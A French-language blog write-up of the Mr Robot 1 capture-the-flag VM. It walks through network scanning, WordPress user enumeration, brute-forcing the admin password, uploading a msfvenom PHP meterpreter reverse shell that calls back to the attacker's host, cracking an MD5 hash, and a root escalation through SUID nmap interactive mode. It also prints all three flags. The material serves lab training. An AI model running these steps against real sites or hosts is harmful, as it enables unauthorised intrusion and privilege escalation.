CTF Mr Robot

Salut à tous, en tant que bon galèrien ça fait plusieurs jours que je me demande ce que je peux faire de temps libre. Après avoir mûrement réffléchit et fait quelques recherches, je me suis qu'il pourrait être interressant de faire ou refaire quelques CTF (Capture The Flag) et de partagé mes trouvails sur adminsys-dev. Donc pour commencé j'en ai choisis un pas trop compliqué et facile d'accès pour même un débutant comme moi. Faut dire aussi que le nom du chalenge a beaucoup éveiller ma curiausité. Donc fini les violons passons aux choses sérieuses nous attaquons aujourd'hui au CTF Mr Robot 1.

Description Du chalenge :

Basé sur la série M. Robot.

Cette machine virtuelle possède trois clés cachées à différents endroits. Votre but est de les trouver toutes les trois. Chaque clé est progressivement plus difficile à trouver.

La VM n'est pas trop difficile. Il n'y a pas d'exploitation avancée ou d'ingénierie inverse. Le niveau est considéré comme débutant-intermédiaire.

Shado : Bon en gros pour réussir ce challenge il faut trouver les trois clé qui sont caché sur le système. Donc on va leur faire plaisir et sans plus attendre récupéré ces Fucking clé.

Recherche d'information sur la cible

Pour commencer j'utilise Kali Linux pour faire mon investigation.

Dans un premier tant ce que nous allons étant donné que nous ne conaissons pas vraiment notre cible (surtout son @IP etc...) nous allons essayer de trouver un moyen d'avoir des informations sur notre cible en commençant par trouver son IP l'os héberger et ainsi de suite ...

pour trouver l'adresse je vais utilisé l'outil arp-scan avec l'option -l qui me permet de lister les ip de mon réseau local et leur @MAC.

root@kali:~# arp-scan -l
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
192.168.1.1 c4:04:15:7d:0f:9c   (Unknown)
192.168.1.10    98:de:d0:00:c8:9c   (Unknown)
192.168.1.20    08:00:27:b2:d4:d5   CADMUS COMPUTER SYSTEMS
192.168.1.3 44:6e:e5:6e:b8:01   (Unknown)
192.168.1.3 44:6e:e5:6e:b8:01   (Unknown) (DUP: 2)
192.168.1.4 a0:cb:fd:40:14:20   (Unknown)

6 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 1.933 seconds (132.44 hosts/sec). 6 responded

Bon ici je suis un peu embêter car j'ai plusieurs ip qui remonte. Normale car comme un shlag je me suis mis en acces par pont sur virtualbox et du coup mon l'ip de mon PC hôte remonte ainsi que les téléphones portable de la maison sur le wifi. Mai son va pas se décourager ce n'est qu'un petit problème qui au passage va nous permettre d'affiner notre recherche d'information.

donc ce que je vais faire maintenant est de repérer ma cible parmis ces IP et ça va être assez simple :

  • 192.168.1.1 :

    • Pas besoin de se tirer les checveux on sais que c'est l'adresse de mon routeur
  • 192.168.1.10 :

    • Vous ne le savez mais moi si ça l'adresse de mon hôte physique
  • 192.168.1.20
  • 192.168.1.3
  • 192.168.1.4
    • Pour le coup je ne sais pas trop ce que c'est mais on va creuser.

Pour se faire c'est simple je vais faire un nmap très simple pour voir les services et les OS des bécane pour essayer de trouver ma cible.

root@kali:~# nmap -A 192.168.1.3-20

Bon pour notre cas ça tombe bien notre nmap nous montre que deux des trois adresse IP sont en fait pas joignable la .3 et la .4

Nmap scan report for 192.168.1.20
Host is up (0.00042s latency).
Not shown: 997 filtered ports
PORT    STATE  SERVICE  VERSION
22/tcp  closed ssh
80/tcp  open   http     Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open   ssl/http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after:  2025-09-13T10:45:03
MAC Address: 08:00:27:B2:D4:D5 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.8
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.43 ms 192.168.1.20

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 3 IP addresses (2 hosts up) scanned in 324.37 seconds

Ici les informations qui vont le plus nous interresser sont l'existance d'un serveur apache HTTP sur le port 80 et du HTTPS sur le 443.

On vérifie donc qu'il y est bien un site web à cette adresse et que fut ma surprise quand je susi tomber sur cette page web émulant un terminal qui défile comme au lancement d'un linux et qui fini par lancer un prompt estampier fsociety (la classe). Comme une image vaut mieux que 1000 discourt je vous laisse déguster

Bon on passe au chone sérieuse maintenant on va se renseigner sur le type site (CMS, language, lister les répertoire etc...)

Pour cela on a quelques outils dans kali linux qui sont assez sympa pour mener à bien notre entreprise.

  • nikito
  • uniscan
  • wpscan
    • pour wordpress
  • Metagoofil
  • TheHarvester
  • etc....

Et aussi un autre outil qui réunis une grande majorité des outils de scan web qui s'appel Yuki-Chan et qui est libre et opensource qu'on peut trouver sur github et qui est une pure merveille.

Bon pour ce cas je vais plutôt dans un premier temps utiliser nikto pour identifier au mieux l'application web.

 root@kali:~# nikto --Display on --host 192.168.1.20
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.1.20
+ Target Hostname:    192.168.1.20
+ Target Port:        80
+ Start Time:         2017-11-05 13:04:46 (GMT0)
---------------------------------------------------------------------------
+ Server: Apache
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Retrieved x-powered-by header: PHP/5.5.29
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server leaks inodes via ETags, header found with file /robots.txt, fields: 0x29 0x52467010ef8ad 
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html, index.php
+ OSVDB-3092: /admin/: This might be interesting...
+ Uncommon header 'link' found, with contents: <http://192.168.1.20/?p=23>; rel=shortlink

+ /readme.html: This WordPress file reveals the installed version.
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ /admin/index.html: Admin login page/section found.
+ Cookie wordpress_test_cookie created without the httponly flag
+ /wp-login/: Admin login page/section found.
+ /wordpress/: A Wordpress installation was found.
+ /wp-admin/wp-login.php: Wordpress login found
+ /blog/wp-login.php: Wordpress login found
+ /wp-login.php: Wordpress login found
+ 7535 requests: 0 error(s) and 18 item(s) reported on remote host
+ End Time:           2017-11-05 13:07:58 (GMT0) (192 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Avec cela j'apprend de nouvelles information, le site en question est un wordpressn, on y trouve une page robots.txt que l'on va vérifier sans trop tarder et la page wp-login aussi a été trouver.

La première chose que je fait à ce stade est de regardé le fichier robots.txt.

Petite explication sur robots.txt :

Le fichier robots.txt, à placer à la racine d'un site web, contient une liste de ressources du site qui ne sont pas censées être explorées par les moteurs de recherches.

En affichant cette page on y trouve les informations suivantes :

User-agent: *
fsocity.dic
key-1-of-3.txt

Donc je vais récupérer ce fichier pour l'utilisé pour énumérer les utilisateurs du site avec un peut de chance il m'aidera.

Nous avons donc en notre possesion d'un dictionnaire et du premier flag de notre CTF.

Pour le fun je vérifie la page /readme.html voir si on y trouve des informations sympa:

Une petite recherche google nous indiques quelques vulnérabilité exploitable mais ne nous emflamons pas la dessus et suivons notre objectif de base.

Maintenant que nous avons toutes ces informations nous pouvons essayer d'énumérer les users wordpress.

Après quelques tentative infructueuse avec wpscan et nmap pour énumérer les utilisateurs j'ai donc décidé de récupérer le dictionnaire et l'utilisé avec un script que j'ai récupéré en effectuant une recherche sur internet qu'on peut retrouver ici.

Les tentative avec wpscan et nmap :

root@kali:~# wpscan --url http://192.168.1.20 --enumerate u
_______________________________________________________________
        __          _______   _____                  
        \ \        / /  __ \ / ____|                 
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \ 
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team 
                       Version 2.9.3
          Sponsored by Sucuri - https://sucuri.net
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________

[+] URL: http://192.168.1.20/
[+] Started: Sun Nov  5 13:53:55 2017

[+] robots.txt available under: 'http://192.168.1.20/robots.txt'
[!] The WordPress 'http://192.168.1.20/readme.html' file exists exposing a version number
[+] Interesting header: SERVER: Apache
[+] Interesting header: X-FRAME-OPTIONS: SAMEORIGIN
[+] Interesting header: X-MOD-PAGESPEED: 1.9.32.3-4523
[+] XML-RPC Interface available under: http://192.168.1.20/xmlrpc.php

[+] WordPress version 4.3.13 (Released on 2017-10-31) identified from rss generator, rdf generator, atom generator, links opml

[+] Enumerating plugins from passive detection ...
[+] No plugins found

[+] Enumerating usernames ...
[+] We did not enumerate any usernames

[+] Finished: Sun Nov  5 13:54:37 2017
[+] Requests Done: 360
[+] Memory used: 20.039 MB
[+] Elapsed time: 00:00:41

Avec nmap

root@kali:~#  nmap -sV --script http-wordpress-enum --script-args limit=50 192.168.1.20

...
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.60 seconds

J'avoue qu'a ce niveau là mon amour propre est un peu toucher. Donc après une petite googelisation j'ai trouvé ce script python que j'ai utilisé avec le dictionnaire trouvé.

root@kali:~# wget 192.168.1.20/fsocity.dic
--2017-11-05 12:56:31--  http://192.168.1.20/fsocity.dic
Connecting to 192.168.1.20:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7245381 (6.9M) [text/x-c]
Saving to: ‘fsocity.dic’

fsocity.dic                                          100%[=====================================================================================================================>]   6.91M  32.7MB/s    in 0.2s    

2017-11-05 12:56:31 (32.7 MB/s) - ‘fsocity.dic’ saved [7245381/7245381]

Et donc ...

root@kali:~# python wp_enum.py --url "http://192.168.1.20/wp-login.php" --false "Invalid username" --wordlist "/root/fsocity.dic"
Found a valid login with : Elliot

L'utilisateur que nous cherchons est Elliot comme le personnage principale de la série.

Maintenant ce qu'il nous faut c'est de trouver le mot de passe de cette utilisateur. Pour cela je vais utiliser wpscan mais avant je vais faire une petite vérification pour voir si il n'y a pas de doublons dans le dictionnaire.

root@kali:~# wc -l /root/fsocity.dic 
858160 /root/fsocity.dic

root@kali:~# mkdir /root/dico
root@kali:~# sort fsocity.dic | uniq > /root/dico/fsocity.dic
root@kali:~# wc -l /root/dico/fsocity.dic 
11451 /root/dico/fsocity.dic

Effectivement c'était bien le cas donc maintenant nous pouvons tenter la récupération du mot de passe de l'utilisateur Elliot avec wpscan.

root@kali:~# wpscan --url http://192.168.1.20 --wordlist /root//dico/fsocity.dic --username Elliot

 Brute Forcing 'Elliot' Time: 00:02:06 <================================================================                                                                    > (5625 / 11452) 49.11%  ETA: 00:02:11
  +----+--------+------+-----------+
  | Id | Login  | Name | Password  |
  +----+--------+------+-----------+
  |    | Elliot |      | ER28-0652 |
  +----+--------+------+-----------+

[+] Finished: Sun Nov  5 13:55:30 2017
[+] Requests Done: 5980
[+] Memory used: 43.027 MB
[+] Elapsed time: 00:02:11

Enjoy : nous avons récupérer l'utilisateur ainsi que le mot de passe. Allons donc nous connecter en tant qu'Elliot pour vérifier tout est correcte.

Nous arrivons bien à nous connecter et en tant qu'admin :

Maintenant que nous avons ces informations nous allons les utilisé pour avoir un shell sur la machine. Pour cela nous allons uploader un payload fait avec msfvnome et metasploit :

root@kali:~# msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.6 LPORT=4444 -f raw > /root/payloads/shell.php
No platform was selected, choosing Msf::Module::Platform::PHP from the payload
No Arch selected, selecting Arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 30092 bytes

Il faut maintenant uploader notre payload sur le site avec l'utilisateur Elliot qui est admin. Pour cela on se connecte au site et dans l'ongle plungin on fait uplaoder un nouveau plugin et on upload notre reverse shell fraîchement conçu pour l'occasion.

Ceci fait allons dans metasploit pour mettre en place exploit qui écoute notre payload sur le même port (4444)

msf > use exploit/multi/handler 
msf exploit(handler) > set payload php/meterpreter_reverse_tcp 
payload => php/meterpreter_reverse_tcp
msf exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Payload options (php/meterpreter_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

msf exploit(handler) > set LHOST 192.168.1.6
LHOST => 192.168.1.6
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > exploit -j -z
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 192.168.1.6:4444 

Une fois notre upload fini et notre exploit metsploit en écoute, on se dirige dans la partie media ou l'on retrouve notre fichier shell.php, on clique dessus et on récupère l'url du shell qu'on entre dans un navigateur et à partir de là on devrai avoir un shelle meterpreter interactive dans metasploit.

msf exploit(handler) > [*] Meterpreter session 1 opened (192.168.1.6:4444 -> 192.168.1.20:37836) at 2017-11-05 18:20:07 +0000
msf exploit(handler) > sessions 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer    : linux
OS          : Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64
Meterpreter : php/linux
meterpreter > shell
Process 2254 created.
Channel 0 created.
ls
shell.php

Maintenant que nous avons un shell interactive on va essayer d'améliorer notre confore. Le shell meterpreter est un shell assez basic et restreint qui nous permet pas de faire ce qu'on veux comme on donc nous allons basculer sur un vrai shell bash en utilisant un module python qui le permet et qui est assez simple. Aller let's go

python -c 'import pty;pty.spawn("/bin/bash")'
daemon@linux:/opt/bitnami/apps/wordpress/htdocs/wp-content/uploads/2017/11$

Voilà c'était pas très dur.

Bon maintenant on va vérifier un peu se qu'on a sous la main. Donc je vérifie d'abord le /home et le fichier /etc/passwd pour voir les users.

daemon@linux:/opt/bitnami/apps/wordpress/htdocs/wp-content/uploads/2017/11$ ls /home
<pps/wordpress/htdocs/wp-content/uploads/2017/11$ ls /home                   
robot

Tadaaa on a un utilisateur robot regardons un peu se qu'il cache le petit filou.

<pps/wordpress/htdocs/wp-content/uploads/2017/11$ ls /home                   
robot
<pps/wordpress/htdocs/wp-content/uploads/2017/11$ whoami                     
daemon
<pps/wordpress/htdocs/wp-content/uploads/2017/11$ ls /home/robot             
key-2-of-3.txt  password.raw-md5

Et ben dit donc rien que ça. On tombe sur le second flag et un fichier password.raw-md5.

et si on le lisait

daemon@linux:/opt/bitnami/apps/wordpress/htdocs/wp-content/uploads/2017/11$ cat /home/robot/key-2-of-3.txt
<ntent/uploads/2017/11$ cat /home/robot/key-2-of-3.txt                       
cat: /home/robot/key-2-of-3.txt: Permission denied
daemon@linux:/opt/bitnami/apps/wordpress/htdocs/wp-content/uploads

Mince pas le droit de lire, bon on va vérifier tout ça, qui a le droit de l'ouvrir ?

/2017/11$ ls -la /home/root
<pps/wordpress/htdocs/wp-content/uploads/2017/11$ ls -la /home/root          
ls: cannot access /home/root: No such file or directory
daemon@linux:/opt/bitnami/apps/wordpress/htdocs/wp-content/uploads/2017/11$ ls -la /home/robot
<pps/wordpress/htdocs/wp-content/uploads/2017/11$ ls -la /home/robot         
total 16
drwxr-xr-x 2 root  root  4096 Nov 13  2015 .
drwxr-xr-x 3 root  root  4096 Nov 13  2015 ..
-r-------- 1 robot robot   33 Nov 13  2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot   39 Nov 13  2015 password.raw-md5

Bon on a quand même le droit de lire le fichier password.raw-md5 on va regarder se qu'il cache.

daemon@linux:/opt/bitnami/apps/wordpress/htdocs/wp-content/uploads/2017/11$ cat /home/robot/password.raw-md5
<ntent/uploads/2017/11$ cat /home/robot/password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
daemon@linux:/opt/bitnami/apps/wordpress/htdocs/wp-content/uploads/2017/11$ 

Ah on a le md5 de l'utilisateur robot comme on pouvait s'y attendre. Se qu'il nous reste à faire et de décrypter ce hash.

Avant tout on doit s'assurer que c'est bien un hash md5.

root@kali:~# hash-identifier c3fcd3d76192e4007dfb496cca67e13b
   #########################################################################
   #     __  __             __       ______    _____       #
   #    /\ \/\ \           /\ \     /\__  _\  /\  _ `\     #
   #    \ \ \_\ \     __      ____ \ \ \___ \/_/\ \/  \ \ \/\ \    #
   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.1 #
   #                                 By Zion3R #
   #                            www.Blackploit.com #
   #                               Root@Blackploit.com #
   #########################################################################

   -------------------------------------------------------------------------
 HASH: c3fcd3d76192e4007dfb496cca67e13b

Possible Hashs:
[+]  MD5
[+]  Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))

Least Possible Hashs:
...

C'est bien un md5 donc ...

Deux solutions s'offre à nous on googelise le hash et on le trouve (se qui est simple) ou bien on utilise un outil comme findmyhash qui va interroger les base de donner de hash md5 public pour nous le recracher simplement.

root@kali:~# findmyhash md5 -h c3fcd3d76192e4007dfb496cca67e13b

Cracking hash: c3fcd3d76192e4007dfb496cca67e13b

Analyzing with bigtrapeze (http://www.bigtrapeze.com)...
... hash not found in bigtrapeze
...
The following hashes were cracked:
----------------------------------

c3fcd3d76192e4007dfb496cca67e13b -> abcdefghijklmnopqrstuvwxyz

Notre hash à été dé-hasher, après tout c'est un hash bien connue.

Donc maintenant on va se connecter en tant que robot.

daemon@linux:/opt/bitnami/apps/wordpress/htdocs/wp-content/uploads/2017/11$ su robot
<pps/wordpress/htdocs/wp-content/uploads/2017/11$ su robot                   
Password: abcdefghijklmnopqrstuvwxyz

robot@linux:/opt/bitnami/apps/wordpress/htdocs/wp-content/uploads/2017/11$ whoami
<ps/wordpress/htdocs/wp-content/uploads/2017/11$ whoami                      
robot

C'est chose faite nous somme l'utilisateur robot et on va lire le second flag.

robot@linux:/opt/bitnami/apps/wordpress/htdocs/wp-content/uploads/2017/11$ cat /home/robot/key-2-of-3.txt
<tent/uploads/2017/11$ cat /home/robot/key-2-of-3.txt                        
822c73956184f694993bede3eb39f959
robot@linux:/opt/bitnami/apps/wordpress/htdocs/wp-content/uploads/2017/11$ 

Nous avons récupéré la deuxième clé.

Pour la troisième et dernière clé le niveau étant exponentiel il doit certainement être dans le répertoire root et forcément faire une élévation de privilège.

Voyons voir si nos doutes se confirme.

robot@linux:/opt/bitnami/apps/wordpress/htdocs/wp-content/uploads/2017/11$ ls /root
<ps/wordpress/htdocs/wp-content/uploads/2017/11$ ls /root                    
ls: cannot open directory /root: Permission denied
robot@linux:/opt/bitnami/apps/wordpress/htdocs/wp-content/uploads/2017/11$

Ok ça se confirme doucement mais pas de panique on va juste essayer d'escalader nos privilèges et passer root

On est prêt ? Alors let's go

Pour commencer on va essayer de trouver un programme suid (suid c'est quoi ? je te l'explique ici). Pour ça une commande simple :

robot@linux:/opt/bitnami/apps/wordpress/htdocs/wp-content/uploads/2017/11$ find / -user root -perm -4000 -exec ls -ldb {} \; >/tmp/suidfiles
< / -user root -perm -4000 -exec ls -ldb {} \; >/tmp/suid

<ps/wordpress/htdocs/wp-content/uploads/2017/11$ cat /tmp/suid               
-rwsr-xr-x 1 root root 44168 May  7  2014 /bin/ping
-rwsr-xr-x 1 root root 69120 Feb 12  2015 /bin/umount
-rwsr-xr-x 1 root root 94792 Feb 12  2015 /bin/mount
-rwsr-xr-x 1 root root 44680 May  7  2014 /bin/ping6
-rwsr-xr-x 1 root root 36936 Feb 17  2014 /bin/su
-rwsr-xr-x 1 root root 47032 Feb 17  2014 /usr/bin/passwd
-rwsr-xr-x 1 root root 32464 Feb 17  2014 /usr/bin/newgrp
-rwsr-xr-x 1 root root 41336 Feb 17  2014 /usr/bin/chsh
-rwsr-xr-x 1 root root 46424 Feb 17  2014 /usr/bin/chfn
-rwsr-xr-x 1 root root 68152 Feb 17  2014 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 155008 Mar 12  2015 /usr/bin/sudo
-rwsr-xr-x 1 root root 504736 Nov 13  2015 /usr/local/bin/nmap
-rwsr-xr-x 1 root root 440416 May 12  2014 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 10240 Feb 25  2014 /usr/lib/eject/dmcrypt-get-device
-r-sr-xr-x 1 root root 9532 Nov 13  2015 /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
-r-sr-xr-x 1 root root 14320 Nov 13  2015 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
-rwsr-xr-x 1 root root 10344 Feb 25  2015 /usr/lib/pt_chown

Alors on a pas mal de programme suid mais un devrais attiré toute notre attention et c'est le programme nmap car il contient une commande qui permet d'avoir un shell interactive. On va donc l'utiliser pour escalader nos privilèges et avoir un shell en tant que root.

robot@linux:/opt/bitnami/apps/wordpress/htdocs/wp-content/uploads/2017/11$ nmap --interactive
<ps/wordpress/htdocs/wp-content/uploads/2017/11$ nmap --interactive          

Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
# whoami
whoami
root
# 

C'est chose faite reste plus qu'a retrouver le dernier flag.

# ls /root/
ls /root/
firstboot_done  key-3-of-3.txt
# cat /root/key-3-of-3.txt
cat /root/key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4
# 

C'est maintenant chose faite nous avons trouver nos trois flag.

  1. 073403c8a58a1f80d943455fb30724b9
  2. 822c73956184f694993bede3eb39f959
  3. 04787ddef27c3dee1ee161b21670b4e4

Conclusion

Ce CTF etait assez bien interressant avec un niveau de difficulté croissant tout en restant accessible pour des débutant comme nous. Cependant certaines étapes était assez prévisble. J'ai tout de même bien aimer le contexte même si on aurait vraiment pû faire plus avec Mr Robot. Je reste un peut sur ma faim mais j'attend avec impatience pour d'autres versions du CTF Mr Robot.